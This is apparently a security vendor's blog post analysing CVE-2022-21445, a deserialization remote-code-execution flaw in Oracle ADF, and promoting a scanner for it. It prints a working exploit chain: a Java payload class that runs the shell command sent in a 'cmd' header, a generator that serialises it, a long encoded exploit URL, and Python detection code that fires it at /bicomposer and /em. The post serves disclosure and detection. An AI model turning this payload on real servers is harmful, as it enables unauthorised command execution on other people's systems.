Security

Actively Exploited CVE-2022-21445, Deep Dive

The article delves into the technical details of this CVE, its potential impact, and the methods used to detect and exploit it.

Wed 25 September 2024

Introduction

CVE-2022-21445 is actively exploited vulnerability in the wild till this day. Despite being discovered in 2022, this critical vulnerability in Oracle’s Application Development Framework (ADF) continues to pose a serious threat to enterprises. Attackers can exploit it to execute code remotely, with no interaction or privileges required, making it a highly sought-after target for cybercriminals even now.

Understanding the Impact of CVE-2022-21445 on Oracle ADF

At its core, CVE-2022-21445 is a textbook example of a deserialization vulnerability. The culprit? A seemingly innocuous class called org.apache.myfaces.trinidad.webapp.ResourceServlet. This servlet, responsible for handling web resources, had a critical flaw: it blindly trusted and deserialized incoming data.

For those unfamiliar with the concept, deserialization is the process of converting a byte stream back into a usable object or data structure in a program. This typically occurs when data that has been serialized (converted into a format suitable for storage or transmission) is received and needs to be transformed back to its original form for processing. However, deserialization can introduce security risks, especially if the data being deserialized comes from an untrusted source, potentially allowing attackers to manipulate the object and execute harmful actions within the application.

Exploit Path for CVE-2022-21445: How Attackers Leverage RCE

To exploit this vulnerability, attackers crafted a special Java object that, when deserialized, would execute arbitrary commands on the server. The payload was then URL-encoded and sent as part of a GET request to a specific endpoint.

Here's a snippet of the exploit code that checks for vulnerable targets:

def accept(self, target: definitions.Target) -> bool:  
    """Override the accept method to check for X-ORACLE-DMS-ECID in the response headers."""  
    session = requests.Session()  
    session.max_redirects = MAX_REDIRECTS  
    session.verify = False  

    target_endpoint = urlparse.urljoin(target.origin, self.check_request.path)  

    try:  
        req = requests.Request(  
            method=self.check_request.method,  
            url=target_endpoint,  
            headers=self.check_request.headers,  
            data=self.check_request.data,  
        ).prepare()  
        resp = session.send(req, timeout=DEFAULT_TIMEOUT)  
    except requests_exceptions.RequestException as e:  
        logging.info("Request Exception Occurred: %s", e)  
        return False  

    if "X-ORACLE-DMS-ECID" in resp.headers:  
        logging.info("X-ORACLE-DMS-ECID header found in the response")  
        return True  
    return False

This code checks for the presence of an X-ORACLE-DMS-ECID header, which is commonly associated with Oracle Fusion Middleware products, including Oracle Application Development Framework (ADF). That's why this header is used to identify potential ADF targets.

The Payload: A Trojan Horse in Java

The heart of the exploit lies in its payload. Researchers created a LambdaIdentity class that, when deserialized, would execute arbitrary commands. Here's a simplified version of what that might look like:

package com.tangosol.internal.util.invoke.lambda;

import com.tangosol.internal.util.invoke.AbstractRemotable;

public class LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A extends AbstractRemotable {
    public LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A() {
        try {
            weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
            java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
            field.setAccessible(true);
            Object obj = field.get(adapter);
            weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
            weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getServletResponse").invoke(obj);
            String cmd = req.getHeader("cmd");
            if (cmd != null && !cmd.isEmpty()) {
                Process exec;
                if (System.getProperty("os.name").toLowerCase().contains("win")) {
                    exec = Runtime.getRuntime().exec(new String[]{"cmd", "/c", cmd});
                } else {
                    exec = Runtime.getRuntime().exec(new String[]{"sh", "-c", cmd});
                }
                res.getServletOutputStream().clearBuffer();
                res.getServletOutputStream().writeStream(exec.getInputStream());
                res.getServletOutputStream().flush();
                res.getServletOutputStream().close();
                res.flushBuffer();
            }
        } catch (Exception var1) {
            var1.printStackTrace();
        }
    }
}

When this class is deserialized on the target server, it executes whatever command the attacker has specified.

Detecting the Vulnerability

We developed a Python script to detect vulnerable systems. We identified specific endpoints to test against, focusing on common Oracle products:

CONTEXT_APP = ["/bicomposer", "/em"]  # Testing against Oracle Business Intelligence and Oracle Enterprise Manager

The exploit path was generated using a custom Java script Main.java that crafted a malicious encoded payload:

package org.example.miracle;

import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import com.tangosol.internal.util.invoke.lambda.LambdaIdentity;
import com.tangosol.internal.util.invoke.ClassDefinition;
import oracle.adf.view.rich.util.SerializationUtils;

import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws IOException {
        RemoteConstructor remoteConstructor = new RemoteConstructor(
                new ClassDefinition(new ClassIdentity(LambdaIdentity.class), Files.readAllBytes(Paths.get("/home/nmasdoufi/Downloads/CVE-2022-21445/target/classes/com/tangosol/internal/util/invoke/lambda/LambdaIdentity$E12ECA49F06D0401A9D406B2DCC7463A.class"))), new Object[]{}
        );
        String saa = SerializationUtils.toURLEncodedString(remoteConstructor);
        System.out.println(saa);
    }
}

And here's the exploit path that uses that payload:

EXPLOIT_PATH = (
    "/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DtVdbcBtXGf5WlrSb9ToX5eIotzalDXJi6%2BJbsB1KJdkiAeVCZNwkBsxqdWxv"
    "-stqVd49sB2jacm8LpdxpaBugtOESmOFFZDqTTuCBYWCAGV6Y4QF4YIYO0z7BDDwwlP_oEkux3DgP"
    "-SKOze_7_P__l_N_5_6NrbyDguRgwnGKU6_ac4zlW1LQ5c23dipa5KWaLzgUWPc2KDmdpx_a4Wza4"
    "-4_7m8uuZ6T_9fckH3zSU4ozuJN05j2PrdPa8vqjHLFIXO5k_zww%2BloVWnCmwWdM2uenYHANZshhr"
    "-WIw1LMaExVjNYixt6Z43fmvR2HKp7Da0R4X2aF37M789c2Wz12P5gOUS6EMRJe4c0W36H_j1q0_9-C3"
    "%2B8XI1nA8WTrwpwmqay8BdnzAJHYr1%2BHyswm5v8Ys1rUnHtH93_DiqTf6k72Vn51X9feZV8HcSP-ZZxQcRAnVZzC"
    "%2B2ScVuFHToWESQXvV6FhSsXDOCOGswrOyZgWxA%2Bo%2BCA%2BJGNGwYdl6AqOqNiEvIrd"
    "-MBQUVDDMismcgnnxNFWcxwUZloKieLUVOApKKrZgQYULTwVHWbwtimFJDMuCe1HGR1S8HR%2BV8TEZ"
    "-j0gIHhFb9qCEjkjPlAR_2ikwCZuyps1OlIt55k7qeYsooaxj6NaU7ppiXif62TIzJGxtAskp1zGY"
    "-541JkPWCXqItlbA7u8TyljNnGrElx70Qe5iGZI1JcoFZk1kFCeEmLS6btQgNsYxgkUyHkz8vfFgF"
    "-RmK5bEFCdMWEx9xFi_GVfOZqhNNsocw8fqxYsmrLPAmx9SzzSnRQWGOdUSy0epLjrmnPEcu_qLsJ-CdubeBPLBitVAU9sPm"
    "%2BSyXPrQJ2lF_MFPZatPhrou38i0T%2BRTg6OZOLD4_HBeCI5Mj4YH071j6fT"
    "-hweHB5JkoyvHdePCcb1UTVA1x5dkPEqgJGwRsAgxMh4jDEhQc07ZNVjGFIkcvEtTURGihM2350PD-ITwu4"
    "%2BMaPoFPUuJb8z5BaClzNjnvMr2g4VP4tIbP4LMSthiObdNy2qijul2wmKvhCTxJnmt4Cp_T"
    "-8Hk8TVJzjLfmkoC64kH1qGr4Ap6R8UUNX8KXJfTeDSoorc0WammX0HdXENHwFXxVw9fwdToBjhe1"
    "-9SLl4RsanhXky_gmQWjJtDU8h%2BdlvKDhCr7VspE1OEnwxQwNcXyb3rx5Gvpo%2Bh28KOO7Gl5CL6VR-w8u4quF7"
    "%2BL6GH6BXww_FcA29dCLbQFDDjwTrzP8LflK189xBdTJPLUc3eLUD1YpIeM3iIKF7jZJA"
    "-YFhVciTsiLRpV6KqNW1vDXx0Uoyy61Jkjfm2SE_2dik6UBsJEemapHBMwl6Se6tqpogFAomUhBaV"
    "-VSIJbCaBcWZYussK9Vj6IqvLSc9bVMMuj_GkIWI2a2U4ck5E2UGaJRyItNmDdoVzA4kfZ3zeIQ8e"
    "-auPB9Crn2_lU00Dqdq7Fox5TS76EkTa%2BtUvZWu4epaQIWBy4w4bdKsmy6U0US_xitb2daz1nFz3O"
    "-ihI6SS8hqMRcIdbJnayzxNy0Lo5%2BKyhuaVWoXHHdtCnHu5s9Sc_rbk7UE9tgY8JcE0hPl%2BkUFUmn"
    "-SvZuTba3GKiTyUKkBcltIlxpsztWatbJMi%2BVOUkznQIbakbqWqWreUm9wyXuehFtm2Ex3U2VZ2dF"
    "-esShOWY3udLdCNN0Yk0MMta55JqcNeR2RtqKCXAHZq2yqIMBw3JEajqr84bFTSXaIV5tfpNUXhj2-o4duYeIj0fcQemnsA3w"
    "%2BBKAQ9Y2DHTcg_RS%2B6%2Bi4CX8FgeyhCoIhuQLleC_NN_TSXD3RJ4idJKtV"
    "-0NUn1lSw8SY2jfqrnM2rOFtGA2F_KFTB1tFgOPgLXAoHK9h2GYuh7dexo4Lu0M4Kws9i_3XsCt7A-7rMdoVDurD"
    "%2B0J3c2EA7mKtg7Kl_FvhXuPsG9p4kbDlRwbwX7q88wOXxfBW%2BrE%2B%2BvPx8QzwNXoYio-Ij%2Bh4BX8FX%2Bji18HohT"
    "%2BFLbTGCSqghA2YA9U2rJO4mtIogvT2IgC3UAX6Mr4OElcwTa8gh34Obrx-O"
    "%2BzEHxDGn7GLdO4jrXvwGvbiddyDGGmdJV3PkZ04EpBp1cH6Wwi_Rz8GyJc9%2BCVdlYfgI3s3MIzD"
    "-JJ3Ei3gHRui2PE2tfxRjlKgCHsMRvJP8fI3oD%2BJdtJZSh4dIGkjRbwCBN8k5WUZaxriMCRkZGe%2BW"
    "-cVTGMeA_2CXjPW8SFiSSoCUy3usnJVla6sNx%2BmsRW%2Bdfi0YXfCTzM37zn5ERHzqy6CzOeCkqFCeo"
    "-x_N2d8IsVBI5RajU59gCLqGrRplirkcduUpZLnFsbG21HJH1NmmOewf7B1Lx_nR8KB5PHE71D46n"
    "-EvHxTObw0EgyOTScyvwPvlNuShcOAAA%3D-/"
)

The detection script sends a crafted request to potential targets and checks for signs of successful exploitation. Here's a snippet of the detection logic:

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:  
    """Rule to detect specific vulnerability on a specific target.  

    Args:        target: Target to scan  
    Returns:        List of identified vulnerabilities.    """   

    session = requests.Session()  
    session.max_redirects = MAX_REDIRECTS  
    session.verify = False  

    vulnerabilities: list[definitions.Vulnerability] = []  

    for context in CONTEXT_APP:  
        exploit_endpoint = urlparse.urljoin(target.origin, context + EXPLOIT_PATH)  
        try:  
            exploit_req = requests.Request(  
                method="GET",  
                url=exploit_endpoint,  
                headers={"cmd": "whoami"},  
            ).prepare()  
            exploit_resp = session.send(exploit_req, timeout=DEFAULT_TIMEOUT)  

            if exploit_resp.status_code == 200:  
                response_text = exploit_resp.text.lower()  
                if any(  
                    user in response_text  
                    for user in ["root", "nt authority\\system"]  
                ):  
                    logging.info(  
                        f"Potential RCE vulnerability detected at {exploit_endpoint}"  
                    )  
                    vulnerability = self._create_vulnerability(target)  
                    vulnerabilities.append(vulnerability)  
                    break  # Stop checking other contexts if vulnerability is found  

        except requests_exceptions.RequestException as e:  
            logging.info(f"Exploit check failed for {exploit_endpoint}: {e}")  

    return vulnerabilities  

How It Works

The script begins by initiating a session with the target, which allows for efficient management of requests and responses. It then crafts a GET request directed at a specific endpoint, embedding a command in the headers to probe the system. Upon receiving a 200 OK status, the script analyzes the response for signs of successful command execution, such as the presence of root or SYSTEM in the response body. If a remote code execution (RCE) vulnerability is detected, the script logs the event and appends the identified vulnerability to a list for further action.

Testing for CVE-2022-21445 Using the OXO Tool

If you’re concerned your instance might be vulnerable, follow these steps to run a test using the OXO tool. OXO provides a straightforward way to scan and detect this vulnerability. Here’s how you can get started:

  1. Install OXO via pip:
pip install -U ostorlab
  1. Install the asteroid agent from the OXO agent store:
oxo agent install agent/ostorlab/asteroid
  1. Run the scan using the asteroid agent with the following command:
oxo scan run --agent agent/ostorlab/asteroid link --url <target-URL> --method GET

Tags:

rce, kev, security